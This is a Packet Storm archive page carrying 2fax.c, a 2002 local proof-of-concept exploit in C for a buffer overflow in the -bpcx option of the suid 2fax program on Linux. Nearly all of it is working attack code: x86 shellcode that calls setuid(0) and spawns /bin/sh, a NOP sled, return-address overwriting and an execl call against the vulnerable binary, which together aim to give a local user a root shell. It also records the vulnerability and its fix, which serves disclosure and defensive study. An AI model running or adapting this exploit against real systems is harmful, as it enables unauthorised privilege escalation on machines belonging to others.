what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

2fax.c

2fax.c
Posted Jul 8, 2002
Authored by crazy_einstein@yahoo.com | Site lbyte.void.ru

2fax -bpcx option local exploit for Linux.

tags | exploit, local
systems | linux
SHA-256 | ebae72f5d4e6a1ffe3acb022e81f8c0f51e05a3a4c47eaa2b903e3d2c92066ef

2fax.c

Change Mirror Download
/*******************************************************************************
* *
* 2fax local PoC exploit *
* by Crazy Einstein [crazy_einstein@yahoo.com], Limpid Byte [lbyte.void.ru] *
* *
* Bug: Buffer Overflow in -bpcx option *
* Homepage of 2fax: http://www.atbas.org/ *
* *
* Solution: Don't set suid bit to 2fax program *
* *
*******************************************************************************/

#include <stdio.h>
#include <stdlib.h>

#define MAX_SIZE 350
#define OFFSET -1100
#define tmpfile "/tmp/abcde0987654"

/* shellcode for Linux x86 by Grange */

char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";

long getesp() {
__asm__("movl %esp,%eax");
}

void usage(int argc, char **argv) {
printf("Local exploit for 2fax program (<= v2.02)\n by Crazy Einstein [crazy_einstein@yahoo.com], Limpid Byte [lbyte.void.ru]\n\n"
"Usage: %s </path/to/2fax> [offset]\n\n",argv[0]);
return;
}

int main(int argc,char **argv) {
char buf[MAX_SIZE], buf2[MAX_SIZE + 20], faxpath[100], *p, tmpexec[200];
int offset = OFFSET;
long ret;

if(argc<2) { usage(argc,argv); exit(-1); }

strcpy(faxpath,argv[1]);
if(argv[2]) offset=atoi(argv[2]);

bzero(buf,sizeof(buf));
bzero(buf2,sizeof(buf2));

ret=getesp()-offset;

printf("ret: 0x%x, offset: %d\n",ret,offset);

memset(buf,0x90,312-strlen(shellcode));
strcat(buf,shellcode);

strcat(buf,"AAAAAAAAAAAAAAAA");
while( (p=(char *)strstr(buf,"AAAA")) != NULL ) *(long*)p=ret;

sprintf(buf2,"-bpcx:%s",buf);
sprintf(tmpexec,"touch %s;rm -rf %s",tmpfile,tmpfile);
system(tmpexec);

execl(faxpath,faxpath,buf2,tmpfile,tmpfile,NULL);

return 0;

}

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close